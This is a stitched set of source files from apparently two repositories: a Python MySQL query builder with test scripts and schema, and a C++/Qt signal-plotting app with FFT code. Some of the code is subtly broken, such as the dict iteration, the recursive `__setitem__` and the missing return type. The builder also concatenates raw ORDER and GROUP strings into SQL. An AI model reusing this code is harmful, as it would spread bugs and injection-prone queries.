self._addFilter(preparedStatement, self._filters[filterKey])
del self._filters[filterKey]
'''
@method custom
@public
@description
Allows a user to write custom SQL with either single or multiple
parameters. The syntax is reminiscent of db.exec() in dealing with
arrays.
'''
def custom(self, filterKey, preparedStatement, preparedValue = None) :
if self._filters.__contains__(filterKey) :
searchValue = preparedValue or self._filters[filterKey]
isParameterArray = isinstance(searchValue, list)
self._statements.append(preparedStatement)
#gracefully handle array-like parameters by spreading them
if isParameterArray :
self._parameters.extend(searchValue)
else :
self._parameters.append(searchValue)
del self._filters[filterKey]
'''
@method setOrder
@description
Allows setting the SQL ordering on complex queries - this should be
exposed through the same interface as all other filters.
'''
def setOrder(self, orderString) :
self._order = orderString
'''
@method setGroup
@description
Allows setting the SQL groups in the GROUP BY statement. A developer is expected to
provide a valid SQL string. This will be appended to the SQL statement after the
WHERE clause.
'''
def setGroup(self, groupString) :
self._group = groupString
def applyQuery(self, sql) :
# optionally call utility method to parse all remaining options as simple
# equality filters into `_statements`
limitCondition = self._parseLimit()
if self._autoParseStatements :
self._parseDefaultFilters()
conditionStatements = self._parseStatements()
order = self._order
group = self._group
return sql + " WHERE " +conditionStatements + " "+ group + " " + order + " "+ limitCondition
def parameters(self) :
return self._parameters
# this method only applies a table alias if it exists
def _formatTableAlias(self, table) :
return table + "." if table else ''
'''
@method _addFilter
@description
Private method - populates the private statement and parameter variables
'''
def _addFilter(self, statement, parameter) :
self._statements.append(statement)
self._parameters.append(parameter)
#remove options that represent reserved keys
def ommit(self):
for x in RESERVED_KEYWORDS :
del self._filters[x]
return self._filters
'''
@method _parseDefaultFilters
@description
Utility method for parsing any filters passed to the search that do not
have filter types - these always check for equality
'''
def _parseDefaultFilters(self) :
#remove options that represent reserved keys
self._filters = self.ommit()
for value, key in self._filters :
valueString = "?"
tableString = self._formatTableAlias(self._tableAlias)
if self._parseUuids :
# check to see if key contains the text uuid - if it does and parseUuids has
# not been suppressed, automatically parse the value as binary
if (key.__contains__(DEFAULT_UUID_PARTIAL_KEY)) :
valueString = 'HUID(?)'
ch = tableString + key + "=" + valueString
self._addFilter(ch, value)
def _parseStatements(self) :
# this will always return true for a condition statement
DEFAULT_NO_STATEMENTS = '1'
return DEFAULT_NO_STATEMENTS if not self._statements else ' AND '.join(str(x) for x in self._statements)
def _parseLimit(self) :
limitString = ''
if hasattr(self._filters,self._limitKey ) :
limit = str(self._filters[self._limitKey])
limitString = "\nLIMIT "+limit
return limitString
<file_sep>/test4_transaction.py
from settup_env import EnvironementSettup
EnvironementSettup();
from db.database import Database
#
_db = Database()
clientData = {
"name" : "yannick122",
"dateOfBirth" : "2019-12-05",
"age" : 78,
"height" : 1.60,
"uuid" : _db.bid('CCC4D7BA4F3B4BB783D29B89830855A8')
}
clientUpdateData = {
"name" : "Jeanus",
"age" : 24
}
trans = _db.transaction()
trans.add_update_query('client', clientUpdateData, 'age', 78)
trans.add_insert_query('client', clientData)
#trans.add_update_query('client', clientUpdateData, 'id', 5)
#trans.add_delete_query('client', 'id', 8)
transResult = trans.execute()
print(transResult['commited'],)
for r in transResult['results']:
print(r)<file_sep>/sql/mysql/sql.sql
-- FOR MYSQL
-- Dumping database structure for gestion
CREATE DATABASE IF NOT EXISTS `gestion` /*!40100 DEFAULT CHARACTER SET latin1 */;
USE `gestion`;
-- Dumping structure for table gestion.client
CREATE TABLE IF NOT EXISTS `client` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(30) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
`dateOfBirth` date DEFAULT NULL,
`age` int(11) DEFAULT '0',
`uuid` binary(16) DEFAULT NULL,
`height` decimal(19,5) DEFAULT '0.00000',
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
<file_sep>/db/query_result.py
import json
class QueryResult:
def __init__(self) :
# status tell you if the request has been executed succefully
self.status = False;
self.msg = '';
self.affected_rows = 0;
self.lastrowid = None;
self.error_number = '';
self.rows = []
self.record = None
def __setitem__(self, key, val):
self[key] = val
def from_obj(self, obj) :
self.msg = obj.msg;
self.affected_rows = obj.affected_rows;
self.lastrowid = obj.lastrowid;
self.error_number = obj.error_number;
self.rows = obj.rows
self.record = obj.record
return self;
def __str__(self) :
return json.dumps({
"status" : self.status,
"msg": self.msg,
"affectedRows" : self.affected_rows or 0,
"lastRowId": self.lastrowid,
"errorNumber" : self.error_number,
"rows": self.rows,
"record": self.record
});<file_sep>/test1_insert.py
from settup_env import EnvironementSettup
EnvironementSettup();
from db.database import Database
_db = Database()
if _db.conn_status :
clientData = {
#"id": 1,
"name": "<NAME>",
"dateOfBirth": "1979-07-08",
"age": 78,
"height": 1.60,
"uuid": _db.bid('CCC4D7BA4F3B4BB783D29B89830855A8')
}
clientUpdateData = {
"name" : "Jeancy"
}
Result = _db.insert('client', clientData)
print(Result.status, Result.affected_rows, Result.error_number, Result.msg)
# to get the last inserted id : Result['lastrowid'][0]
# delete example
# ....................
# you cand change @age to id, it's just a condition
# _db.delete('client','age', 78)
# update example
# ...................................
# you cand change @age to id, it's just a condition
# _db.update('client', clientUpdateData, 'age', 78)
<file_sep>/db/period.py
from datetime import datetime, date, timedelta
import calendar
# calculate dates
class PeriodService :
def __init__ (self, clientTimestamp):
if type(clientTimestamp) == datetime:
self.timestamp = clientTimestamp
else :
date_format = "%Y-%m-%d" if len(clientTimestamp) <=10 else "%Y-%m-%d %H:%M:%S"
self.timestamp = datetime.strptime(clientTimestamp, date_format )
self.periods = {
"today" : {
"key" : 'today',
"translateKey" : 'PERIODS.TODAY',
"limit" : self.today(),
},
"week" : {
"key" : 'week',
"translateKey" : 'PERIODS.THIS_WEEK',
"limit" : self.week(),
},
"month" : {
"key" : 'month',
"translateKey" : 'PERIODS.THIS_MONTH',
"limit" : self.month(),
},
"year" : {
"key" : 'year',
"translateKey" : 'PERIODS.THIS_YEAR',
"limit" : self.year(),
},
"yesterday" : {
"key" : 'yesterday',
"translateKey" : 'PERIODS.YESTERDAY',
"limit" : self.today(1)
},
"lastWeek" : {
"key" : 'lastWeek',
"translateKey" : 'PERIODS.LAST_WEEK',
"limit" : self.lastWeek(),
},
"lastMonth" : {
"key" : 'lastMonth',
"translateKey" : 'PERIODS.LAST_MONTH',
"limit" : self.lastMonth(),
},
"lastYear" : {
"key" : 'lastYear',
"translateKey" : 'PERIODS.LAST_YEAR',
"limit" : self.year(-1),
},
# components will make an exception for all time - no period has to be selected
# on the server this simple removes the WHERE condition
"allTime" : {
"key" : 'allTime',
"translateKey" : 'PERIODS.ALL_TIME',
},
"custom" : {
"key" : 'custom',
"translateKey" : 'PERIODS.CUSTOM',
}
}
def lookupPeriod(self, key):
return self.periods[key]
def today(self, current=0) :
today =self.timestamp - timedelta(current)
return { "start" : today, 'end' : today }
def week(self) :
today = self.timestamp
start = today - timedelta(days=today.weekday())
end = start + timedelta(days=6)
return { "start" : start, "end" : end }
def lastWeek(self) :
today = self.timestamp
end = today - timedelta(days=today.weekday() + 1 )
start = end + timedelta(days=-6)
return { "start" : start, "end" : end }
def month(self) :
start_date = self.timestamp
lastDay = calendar.monthrange(start_date.year, start_date.month)[1] # number
return {
"start" : date(start_date.year, start_date.month, 1),
"end" : date(start_date.year, start_date.month, lastDay)
}
def year(self, current = 0) :
start_date = self.timestamp
return {
"start" : date(start_date.year - current, 1, 1),
"end" : date(start_date.year - current, 12, 31)
}
def lastMonth(self) :
start_date = self.timestamp
days_in_month = calendar.monthrange(start_date.year, start_date.month)[1]
last_month = start_date - timedelta(days=days_in_month)
lastDay = calendar.monthrange(last_month.year, last_month.month)[1] # number
return {
"start" : date(last_month.year, last_month.month, 1),
"end" : date(last_month.year, last_month.month, lastDay)
}
|
833b4f82d253c6d42019eaa9a23ba10f81c4074d
|
[
"SQL",
"Python"
] | 15 |
Python
|
jeremielodi/python_mysql
|
161774e26c29f7475508cbc3ddd0e69460340788
|
ba5b57a54b32eb4314d486d4c16ec5a882a52217
|
refs/heads/master
|
<file_sep>#ifndef USERPASSWORD_H
#define USERPASSWORD_H
#include <QWidget>
#include <QDebug>
#include <QtSql/QSqlTableModel>
#include <QtSql/QSqlRecord>
#include <QTime>
#include <QMessageBox>
namespace Ui {
class UserPassWord;
}
class UserPassWord : public QWidget
{
Q_OBJECT
public:
explicit UserPassWord(QWidget *parent = 0);
~UserPassWord();
void setyf();
void clearAll();
bool judgeEmpty();
private:
Ui::UserPassWord *ui;
QString teachernum;
int yf;
QSqlTableModel *model;
private slots:
void comeDataManage(QString);
void confirmbtnSlot();
void returnbtnSlot();
signals:
void EmitToUserManage();
};
#endif // USERPASSWORD_H
<file_sep>#include "FileViewerDialog.h"
#include <QVBoxLayout>
FileViewerDialog::FileViewerDialog(QWidget *parent) :
QDialog(parent)
{
setWindowTitle(tr("File Viewer"));
currDir = new QLineEdit;
currDir->setText("E://");
fileListWidget =new QListWidget;
QVBoxLayout *vbLayout=new QVBoxLayout(this);
vbLayout->addWidget(currDir);
vbLayout->addWidget(fileListWidget);
connect(currDir,SIGNAL(returnPressed()),this,SLOT(ShowFiles()));
connect(fileListWidget,SIGNAL(itemDoubleClicked(QListWidgetItem*)),
this,SLOT(ShowDir(QListWidgetItem*)));
QString root="E://";
QDir rootDir(root);
QStringList strings;
strings<<"*";
QFileInfoList list=rootDir.entryInfoList(strings);
ShowFileInfoList(list);
}
FileViewerDialog::~FileViewerDialog()
{
}
void FileViewerDialog::ShowFileInfoList(QFileInfoList list)
{
fileListWidget->clear();
for(int i=0;i<list.count();i++)
{
QFileInfo tmpFileInfo=list.at(i);
if((tmpFileInfo.isDir()))
{
QIcon icon(":/images/dir.png");
QString fileName=tmpFileInfo.fileName();
QListWidgetItem *tmp=new QListWidgetItem(icon,fileName);
fileListWidget->addItem(tmp);
}
else if(tmpFileInfo.isFile())
{
QIcon icon(":/image/file.png");
QString fileName=tmpFileInfo.fileName();
QListWidgetItem *tmp=new QListWidgetItem(icon,fileName);
fileListWidget->addItem(tmp);
}
}
}
void FileViewerDialog::ShowDir(QListWidgetItem *item)
{
QString str=item->text();
QDir dir;
dir.setPath(currDir->text()); //set dir
dir.cd(str);
currDir->setText(dir.absolutePath());
ShowFiles(dir);
}
void::FileViewerDialog::ShowFiles(QDir dir)
{
QStringList strings;
strings<<"*";
//文件名称过滤器
//文件属性过滤器,目录,文件,读写
//排序方式,名称,修改时间,大小,目录优先
QFileInfoList list = dir.entryInfoList(strings,
QDir::AllEntries,
QDir::DirsFirst);
ShowFileInfoList(list);
}
void FileViewerDialog::ShowFiles()
{
QDir dir(currDir->text());
ShowFiles(dir);
}
<file_sep>#ifndef FILEVIEWERDIALOG_H
#define FILEVIEWERDIALOG_H
#include <QDialog>
#include <QLineEdit>
#include <QListWidget>
#include <QFileInfoList>
#include <QDir>
#include <QListWidgetItem>
class FileViewerDialog : public QDialog
{
Q_OBJECT
public:
explicit FileViewerDialog(QWidget *parent = 0);
~FileViewerDialog();
public:
QLineEdit *currDir;
QListWidget *fileListWidget;
public:
void ShowFileInfoList(QFileInfoList list);
public slots:
void ShowDir(QListWidgetItem *item);
void ShowFiles(QDir dir);
void ShowFiles();
};
#endif // FILEVIEWERDIALOG_H
<file_sep>#ifndef DATAHANDLE_H
#define DATAHANDLE_H
#include <QDebug>
class DataHandle
{
public:
DataHandle();
~DataHandle() {}
public:
void GetFir();
void RectWinFIR(double *FirCoeff, int NumTaps,
double OmegaC, double B);
void FIRFilterWindow(double *FIRCoeff, int N, double Beta);
private:
enum TTransFormType {FORWARD, INVERSE};
void FIRFreqError(double *Coeff, int NumTaps,
double *OmegaC, double *BW);
void FFT(double *InputR, double *InputI,
int N, TTransFormType Type);
void ReArrangeInput(double *InputR, double *InputI,
double *BufferR, double *BufferI, int *RevBits, int N);
void Transform(double *InputR, double *InputI,
double *BufferR, double *BufferI,
double *TwiddleR, double *TwiddleI, int N);
void FillTwiddleArray(double *TwiddleR, double *TwiddleI,
int N, TTransFormType Type);
double Goertzel(double *Samples, int N, double Omega);
double Sinc(double x);
int IsValidFFTSize(int N);
double Bessel(double x);
};
#define M_PI 3.14159265358979323846 // Pi
#define M_2PI 6.28318530717958647692 // 2*Pi
#define M_SQRT_2 0.707106781186547524401 // sqrt(2)/2
#define MAXIMUM_FFT_SIZE 1048576
#define MINIMUM_FFT_SIZE 8
#endif // DATAHANDLE_H
<file_sep>#ifndef FILEMANAGE_H
#define FILEMANAGE_H
#include <QFile>
#include <vector>
#include <QMessageBox>
#include <QFileInfo>
#include <QFileDialog>
#include <QDebug>
#include "DataHandle.h"
#include "qcustomplot.h"
using namespace std;
class FileManage
{
public:
FileManage();
~FileManage() {}
public:
struct Coordinate
{
double t=0.0;
double x=0.0;
double y=0.0;
double z=0.0;
operator=(Coordinate& other)
{
t=other.t;
x=other.x;
y=other.y;
z=other.z;
}
};
Coordinate coor;
vector<Coordinate> coVector;
private:
int ReadCSV();
void ReadExcel();
void ReadTxt();
public:
void DrawRawData();
public:
int Open();
void FIRFilter();
private:
DataHandle *dh;
private:
char buffer[256];
string cache;
string fileName;
string filePath;
string fileSuffix;
};
#endif // FILEMANAGE_H
<file_sep>#include "complex.h"
#include <cmath>
#include "cfft.h"
// 对数计算(以2为底)
int LOG(int n)
{
switch(n)
{
case 1:return 0; break;
case 2:return 1; break;
case 4:return 2; break;
case 8:return 3; break;
case 16:return 4; break;
case 32:return 5; break;
case 64:return 6; break;
case 128:return 7; break;
case 256:return 8; break;
case 512:return 9; break;
case 1024:return 10; break;
case 2048:return 11; break;
case 4096:return 12; break;
case 8192:return 13; break;
case 16384:return 14; break;
case 32768:return 15; break;
case 65536:return 16; break;
default:return -1;
}
}
// 旋转因子的生成
void GenerateRotationFactor( int size )
{
double ReP = 0.0;
double ImP = 0.0;
// W[i] = exp(-2*pi*j*(i/N))
// 只需要用到0~(Size-1)的旋转因子
for(int i = 0; i < size/2 ; i++)
{
// 欧拉公式展开
ReP = cos(2.0 * PI * ( (double)i / (double)size ) );
ImP = -sin(2.0 * PI * ( (double)i / (double)size ) );
Complex temp(ReP, ImP);
W[i] = temp;
}
}
// 复数数组复制
void ArrayCopy(Complex dest[], Complex src[], int size)
{
for(int i = 0; i < size; i++)
{
dest[i] = src[i];
}
}
// 码位倒置
void BitReverse(int inIndex[], int indexSize)
{
int temp = 0;
int bitSize = LOG(indexSize);
for(int i = 0; i < indexSize; i++)
{
temp = inIndex[i];
inIndex[i] = 0;
for(int c = 0; c < bitSize; c++)
{
//temp >>= c;
if((temp>>c) & 1)
{
inIndex[i] += POW[bitSize - 1 - c];
}
}
}
}
// 快速傅立叶变换
void FFT(Complex IN[], Complex OUT[], int Size)
{
Complex buf[2][MAX_FFT_SIZE];
// 两个数组,用来交替存储各级蝶形运算的结果
// Complex bufA[MAX_FFT_SIZE];
// Complex bufB[MAX_FFT_SIZE];
//==== 循环控制变量 =========================================
// 1.序列长度
// int Size; (形参)
// 2.序列长度的对数
int M = LOG(Size);
// 3.运算级
int Level = 0;
// 4.子序列的组号
int Group = 0;
// 5.子序列内的元素下标
// int i = 0; (循环内部有效)
//==== 循环控制变量如上 =====================================
// 码位倒置后的输入序列下标
int indexIn[MAX_FFT_SIZE];
//==== 对输入序列的下标采取码位倒置操作 =====================
// 先按顺序初始化下标数组
for(int i = 0; i < MAX_FFT_SIZE; i++)
{
indexIn[i] = i;
}
// 执行码位倒置
BitReverse(indexIn, Size);
// 此时的indexIn[]数组就是码位倒置后的下标
//==== 码位倒置操作完成 =====================================
//==== 计算旋转因子备用 =====================================
GenerateRotationFactor(Size);
//==== 旋转因子计算完成 =====================================
// FFT核心算法开始
// 算法说明
// 一、输入序列长度为【Size】,其对数为【M】;
// 二、共有M个运算级【Level】;
// 三、每级运算有 POW[M-Level-1] 组【Group】子序列参与蝶形运算,子序列长度为POW[Level+1];
// 四、每组子序列只有前半部分作为蝶形运算的“首元”,子序列前半部分的长度为 POW[Level];
// 五、每组子序列有 POW[Level] 个蝶形运算结,即子序列前半部分(首元)个数;
// 六、每个蝶形运算结需要使用位于子序列前半部分的一个元素(首元)和对应的后半部分元素(次元),次元下标=首元下标+POW[Level];
// 七、每级运算都是以bufA[]作输入、bufB[]作结果;
// 八、每完成一级运算,均需要将bufB[]拷贝到bufA[]以供下级运算使用。
// 开始主循环
// 首先对每一级运算进行循环。共需要循环M级。
for(Level = 0; Level < M; Level++)
{
// 对该级运算中的每组子序列进行蝶形运算的遍历。共需要遍历POW[M-Level-1]个子序列。
for(Group = 0; Group < POW[M-Level-1]; Group++)
{
// 对子序列的前半部分进行元素遍历
// 每次遍历完成一个基本的蝶形运算结
for(int i = 0; i < POW[Level]; i++)
{
// 下标临时变量
// 该变量记录蝶形运算的绝对位置
// 因为i仅仅是子序列前半部分内的元素下标,范围是0~POW[Level]
// 由于每个子序列的长度是POW[Level+1],所以
// 绝对下标 = 组内相对下标i + 组偏移量Group*POW[Level+1]。
int indexBuf = i + Group * POW[Level+1];
// 旋转因子上标的计算
// 旋转因子上标放缩倍数 = 当前运算级的子序列组数
int ScalingFactor = POW[M-Level-1];
// 蝶形运算结。FFT算法核心中的核心。
// 若为第零级运算
// 第零级运算使用的是码位倒置后的输入序列
// 运算结果按照原下标(码位倒置前的下标)存入bufB[]
// 因为后续的运算顺序控制都是基于自然数序下标进行的
if(Level == 0)
{
buf[0][ indexBuf ] = IN[indexIn[indexBuf]] + W[i*ScalingFactor] * IN[indexIn[indexBuf+POW[Level]]];
buf[0][ indexBuf + POW[Level] ] = IN[indexIn[indexBuf]] - W[i*ScalingFactor] * IN[indexIn[indexBuf+POW[Level]]];
}
// 若为其余级运算
else
{
buf[Level%2][ indexBuf ] = buf[(Level+1)%2][indexBuf] + W[i*ScalingFactor] * buf[(Level+1)%2][indexBuf+POW[Level]];
buf[Level%2][ indexBuf + POW[Level] ] = buf[(Level+1)%2][indexBuf] - W[i*ScalingFactor] * buf[(Level+1)%2][indexBuf+POW[Level]];
}
} // 对子序列的蝶形运算结束。共计算POW[Level]个蝶形运算结。
} // 子序列遍历结束。共循环POW[M-Level-1]次。
// 将bufB[]中的运算结果拷贝至bufA[]
//ArrayCopy(bufA, bufB, Size);
} // 运算级循环结束。共循环M次。
// 将最后一级运算结果从bufB拷贝到OUT
ArrayCopy(OUT, buf[(Level+1)%2], Size);
} // FFT结束。
<file_sep>/********************************************************************************
** Form generated from reading UI file 'mainwindow.ui'
**
** Created by: Qt User Interface Compiler version 5.9.1
**
** WARNING! All changes made in this file will be lost when recompiling UI file!
********************************************************************************/
#ifndef UI_MAINWINDOW_H
#define UI_MAINWINDOW_H
#include <QtCore/QVariant>
#include <QtWidgets/QAction>
#include <QtWidgets/QApplication>
#include <QtWidgets/QButtonGroup>
#include <QtWidgets/QHeaderView>
#include <QtWidgets/QLabel>
#include <QtWidgets/QLineEdit>
#include <QtWidgets/QMainWindow>
#include <QtWidgets/QMenu>
#include <QtWidgets/QMenuBar>
#include <QtWidgets/QPushButton>
#include <QtWidgets/QRadioButton>
#include <QtWidgets/QStatusBar>
#include <QtWidgets/QWidget>
#include "qcustomplot.h"
QT_BEGIN_NAMESPACE
class Ui_MainWindow
{
public:
QAction *actionOpen;
QAction *actionSave;
QAction *actionClose;
QAction *actionFeatures;
QAction *actionReport;
QWidget *centralwidget;
QCustomPlot *widgetplotX;
QPushButton *xAxisBtn;
QCustomPlot *widgetplotY;
QPushButton *yAxisBtn;
QCustomPlot *widgetplotZ;
QPushButton *zAxisBtn;
QPushButton *resetBtn;
QCustomPlot *widgetplotO;
QPushButton *oAxisBtn;
QRadioButton *rdbtnRawData;
QRadioButton *rdbtnFiltData;
QRadioButton *rdbtnFFT;
QCustomPlot *widgetPlotZoom;
QLineEdit *lineEditCutDataBeginWith;
QLabel *labelCutDataBeginWith;
QLineEdit *lineEditCutDataEndWith;
QLabel *labelCutDataEndWith;
QPushButton *btnCutData;
QPushButton *btnResetInput;
QMenuBar *menubar;
QMenu *menuFile;
QMenu *menuEdit;
QStatusBar *statusbar;
void setupUi(QMainWindow *MainWindow)
{
if (MainWindow->objectName().isEmpty())
MainWindow->setObjectName(QStringLiteral("MainWindow"));
MainWindow->resize(927, 600);
actionOpen = new QAction(MainWindow);
actionOpen->setObjectName(QStringLiteral("actionOpen"));
actionSave = new QAction(MainWindow);
actionSave->setObjectName(QStringLiteral("actionSave"));
actionClose = new QAction(MainWindow);
actionClose->setObjectName(QStringLiteral("actionClose"));
actionFeatures = new QAction(MainWindow);
actionFeatures->setObjectName(QStringLiteral("actionFeatures"));
actionReport = new QAction(MainWindow);
actionReport->setObjectName(QStringLiteral("actionReport"));
centralwidget = new QWidget(MainWindow);
centralwidget->setObjectName(QStringLiteral("centralwidget"));
widgetplotX = new QCustomPlot(centralwidget);
widgetplotX->setObjectName(QStringLiteral("widgetplotX"));
widgetplotX->setGeometry(QRect(130, 20, 761, 111));
xAxisBtn = new QPushButton(widgetplotX);
xAxisBtn->setObjectName(QStringLiteral("xAxisBtn"));
xAxisBtn->setGeometry(QRect(690, 90, 75, 23));
widgetplotY = new QCustomPlot(centralwidget);
widgetplotY->setObjectName(QStringLiteral("widgetplotY"));
widgetplotY->setGeometry(QRect(130, 160, 761, 111));
yAxisBtn = new QPushButton(widgetplotY);
yAxisBtn->setObjectName(QStringLiteral("yAxisBtn"));
yAxisBtn->setGeometry(QRect(690, 90, 75, 23));
widgetplotZ = new QCustomPlot(centralwidget);
widgetplotZ->setObjectName(QStringLiteral("widgetplotZ"));
widgetplotZ->setGeometry(QRect(130, 300, 761, 111));
zAxisBtn = new QPushButton(widgetplotZ);
zAxisBtn->setObjectName(QStringLiteral("zAxisBtn"));
zAxisBtn->setGeometry(QRect(690, 90, 75, 23));
resetBtn = new QPushButton(centralwidget);
resetBtn->setObjectName(QStringLiteral("resetBtn"));
resetBtn->setGeometry(QRect(20, 150, 75, 23));
widgetplotO = new QCustomPlot(centralwidget);
widgetplotO->setObjectName(QStringLiteral("widgetplotO"));
widgetplotO->setGeometry(QRect(130, 440, 761, 111));
oAxisBtn = new QPushButton(widgetplotO);
oAxisBtn->setObjectName(QStringLiteral("oAxisBtn"));
oAxisBtn->setGeometry(QRect(690, 90, 75, 23));
rdbtnRawData = new QRadioButton(centralwidget);
rdbtnRawData->setObjectName(QStringLiteral("rdbtnRawData"));
rdbtnRawData->setGeometry(QRect(20, 30, 82, 17));
rdbtnFiltData = new QRadioButton(centralwidget);
rdbtnFiltData->setObjectName(QStringLiteral("rdbtnFiltData"));
rdbtnFiltData->setGeometry(QRect(20, 70, 82, 17));
rdbtnFFT = new QRadioButton(centralwidget);
rdbtnFFT->setObjectName(QStringLiteral("rdbtnFFT"));
rdbtnFFT->setGeometry(QRect(20, 110, 82, 17));
widgetPlotZoom = new QCustomPlot(centralwidget);
widgetPlotZoom->setObjectName(QStringLiteral("widgetPlotZoom"));
widgetPlotZoom->setGeometry(QRect(130, 20, 761, 531));
lineEditCutDataBeginWith = new QLineEdit(centralwidget);
lineEditCutDataBeginWith->setObjectName(QStringLiteral("lineEditCutDataBeginWith"));
lineEditCutDataBeginWith->setGeometry(QRect(50, 200, 61, 20));
lineEditCutDataBeginWith->setStyleSheet(QStringLiteral("background-color: rgb(255, 122, 55);"));
labelCutDataBeginWith = new QLabel(centralwidget);
labelCutDataBeginWith->setObjectName(QStringLiteral("labelCutDataBeginWith"));
labelCutDataBeginWith->setGeometry(QRect(20, 200, 31, 16));
lineEditCutDataEndWith = new QLineEdit(centralwidget);
lineEditCutDataEndWith->setObjectName(QStringLiteral("lineEditCutDataEndWith"));
lineEditCutDataEndWith->setGeometry(QRect(50, 230, 61, 20));
lineEditCutDataEndWith->setStyleSheet(QStringLiteral("background-color: rgb(255, 122, 55);"));
labelCutDataEndWith = new QLabel(centralwidget);
labelCutDataEndWith->setObjectName(QStringLiteral("labelCutDataEndWith"));
labelCutDataEndWith->setGeometry(QRect(20, 230, 21, 16));
btnCutData = new QPushButton(centralwidget);
btnCutData->setObjectName(QStringLiteral("btnCutData"));
btnCutData->setGeometry(QRect(20, 260, 41, 23));
btnResetInput = new QPushButton(centralwidget);
btnResetInput->setObjectName(QStringLiteral("btnResetInput"));
btnResetInput->setGeometry(QRect(70, 260, 41, 23));
MainWindow->setCentralWidget(centralwidget);
menubar = new QMenuBar(MainWindow);
menubar->setObjectName(QStringLiteral("menubar"));
menubar->setGeometry(QRect(0, 0, 927, 21));
menuFile = new QMenu(menubar);
menuFile->setObjectName(QStringLiteral("menuFile"));
menuEdit = new QMenu(menubar);
menuEdit->setObjectName(QStringLiteral("menuEdit"));
MainWindow->setMenuBar(menubar);
statusbar = new QStatusBar(MainWindow);
statusbar->setObjectName(QStringLiteral("statusbar"));
MainWindow->setStatusBar(statusbar);
menubar->addAction(menuFile->menuAction());
menubar->addAction(menuEdit->menuAction());
menuFile->addAction(actionOpen);
menuFile->addAction(actionSave);
menuFile->addAction(actionClose);
menuEdit->addAction(actionFeatures);
menuEdit->addAction(actionReport);
retranslateUi(MainWindow);
QMetaObject::connectSlotsByName(MainWindow);
} // setupUi
void retranslateUi(QMainWindow *MainWindow)
{
MainWindow->setWindowTitle(QApplication::translate("MainWindow", "MainWindow", Q_NULLPTR));
actionOpen->setText(QApplication::translate("MainWindow", "Open", Q_NULLPTR));
actionSave->setText(QApplication::translate("MainWindow", "Save", Q_NULLPTR));
actionClose->setText(QApplication::translate("MainWindow", "Close", Q_NULLPTR));
actionFeatures->setText(QApplication::translate("MainWindow", "Features", Q_NULLPTR));
actionReport->setText(QApplication::translate("MainWindow", "Report", Q_NULLPTR));
xAxisBtn->setText(QApplication::translate("MainWindow", "X Axis", Q_NULLPTR));
yAxisBtn->setText(QApplication::translate("MainWindow", "Y Axis", Q_NULLPTR));
zAxisBtn->setText(QApplication::translate("MainWindow", "Z Axis", Q_NULLPTR));
resetBtn->setText(QApplication::translate("MainWindow", "Reset", Q_NULLPTR));
oAxisBtn->setText(QApplication::translate("MainWindow", "O Axis", Q_NULLPTR));
rdbtnRawData->setText(QApplication::translate("MainWindow", "Raw Data", Q_NULLPTR));
rdbtnFiltData->setText(QApplication::translate("MainWindow", "Filt Data", Q_NULLPTR));
rdbtnFFT->setText(QApplication::translate("MainWindow", "FFT", Q_NULLPTR));
lineEditCutDataBeginWith->setText(QApplication::translate("MainWindow", "0", Q_NULLPTR));
labelCutDataBeginWith->setText(QApplication::translate("MainWindow", "Begin", Q_NULLPTR));
lineEditCutDataEndWith->setText(QApplication::translate("MainWindow", "0", Q_NULLPTR));
labelCutDataEndWith->setText(QApplication::translate("MainWindow", "End", Q_NULLPTR));
btnCutData->setText(QApplication::translate("MainWindow", "Cut", Q_NULLPTR));
btnResetInput->setText(QApplication::translate("MainWindow", "Ret", Q_NULLPTR));
menuFile->setTitle(QApplication::translate("MainWindow", "File", Q_NULLPTR));
menuEdit->setTitle(QApplication::translate("MainWindow", "Edit", Q_NULLPTR));
} // retranslateUi
};
namespace Ui {
class MainWindow: public Ui_MainWindow {};
} // namespace Ui
QT_END_NAMESPACE
#endif // UI_MAINWINDOW_H
<file_sep>/********************************************************************************
** Form generated from reading UI file 'LoginDialog.ui'
**
** Created by: Qt User Interface Compiler version 5.9.1
**
** WARNING! All changes made in this file will be lost when recompiling UI file!
********************************************************************************/
#ifndef UI_LOGINDIALOG_H
#define UI_LOGINDIALOG_H
#include <QtCore/QVariant>
#include <QtWidgets/QAction>
#include <QtWidgets/QApplication>
#include <QtWidgets/QButtonGroup>
#include <QtWidgets/QDialog>
#include <QtWidgets/QHBoxLayout>
#include <QtWidgets/QHeaderView>
#include <QtWidgets/QLabel>
#include <QtWidgets/QLineEdit>
#include <QtWidgets/QMenuBar>
#include <QtWidgets/QPushButton>
#include <QtWidgets/QSpacerItem>
#include <QtWidgets/QStatusBar>
#include <QtWidgets/QToolBar>
#include <QtWidgets/QVBoxLayout>
#include <QtWidgets/QWidget>
QT_BEGIN_NAMESPACE
class Ui_LoginDialog
{
public:
QWidget *centralWidget;
QLabel *label;
QWidget *layoutWidget;
QHBoxLayout *horizontalLayout_3;
QPushButton *loginbtn;
QSpacerItem *horizontalSpacer;
QPushButton *registerbtn;
QSpacerItem *horizontalSpacer_2;
QPushButton *exitbtn;
QWidget *layoutWidget1;
QVBoxLayout *verticalLayout;
QHBoxLayout *horizontalLayout;
QLabel *userNameLabel;
QLineEdit *userNameLine;
QHBoxLayout *horizontalLayout_2;
QLabel *passwordLabel;
QLineEdit *passwordLine;
QMenuBar *menuBar;
QToolBar *mainToolBar;
QStatusBar *statusBar;
void setupUi(QDialog *LoginDialog)
{
if (LoginDialog->objectName().isEmpty())
LoginDialog->setObjectName(QStringLiteral("LoginDialog"));
LoginDialog->resize(400, 300);
centralWidget = new QWidget(LoginDialog);
centralWidget->setObjectName(QStringLiteral("centralWidget"));
centralWidget->setGeometry(QRect(0, 0, 337, 236));
centralWidget->setStyleSheet(QStringLiteral("./icon/login_map.jpg"));
label = new QLabel(centralWidget);
label->setObjectName(QStringLiteral("label"));
label->setGeometry(QRect(60, 40, 241, 41));
QFont font;
font.setFamily(QStringLiteral("Times New Roman"));
font.setPointSize(20);
font.setBold(true);
font.setWeight(75);
label->setFont(font);
layoutWidget = new QWidget(centralWidget);
layoutWidget->setObjectName(QStringLiteral("layoutWidget"));
layoutWidget->setGeometry(QRect(30, 170, 277, 26));
horizontalLayout_3 = new QHBoxLayout(layoutWidget);
horizontalLayout_3->setSpacing(6);
horizontalLayout_3->setContentsMargins(11, 11, 11, 11);
horizontalLayout_3->setObjectName(QStringLiteral("horizontalLayout_3"));
horizontalLayout_3->setContentsMargins(0, 0, 0, 0);
loginbtn = new QPushButton(layoutWidget);
